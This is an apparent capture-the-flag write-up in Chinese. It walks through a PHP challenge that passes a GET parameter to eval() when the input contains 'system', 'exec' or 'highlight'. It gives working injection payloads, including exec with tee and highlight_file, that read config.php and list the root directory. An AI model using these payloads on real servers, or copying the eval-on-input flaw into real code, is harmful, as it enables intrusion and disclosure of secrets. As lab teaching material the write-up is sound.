<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这第一题很简单,要求输入的参数里面有system,exec,highlight三个参数中的任意一个参数,那么payload可以构造如下
方法一 使用system
题目说了flag在config.php
那么打开他
方法二 使用exec函数
使用前要知道exec函数是无回显的函数,要让他回显可以使用tee命令
格式是:url=l\s / | tee 5.txt
代码含义:
l\s /:越过过滤并列出根目录下的文件和目录。
|:将前一个命令的输出作为后一个命令的输入。
tee 5.txt:将输出复制一份并输出到终端窗口以及写入到名为5.txt的文件中。
这里是吧ls /回显的值传入到了5.txt中
这时候再去访问5.txt就能得到回显
由于已经知道了flag在当前目录,所以构造如下
?c= exec(cat config.php| tee 5.txt);
在访问5.txt路由
方法三 使用 highlight函数
(`highlight_file` 是 PHP 中的一个函数,它用于输出一个文件的内容,并且对文件内容中的 PHP 代码进行语法高亮显示。这对于展示 PHP 源代码文件特别有用,因为它可以使代码更易于阅读和理解)
知道了flag在当前目录,且知道了文件名,所以可以构造如下
?c=highlight_file(%27config.php%27);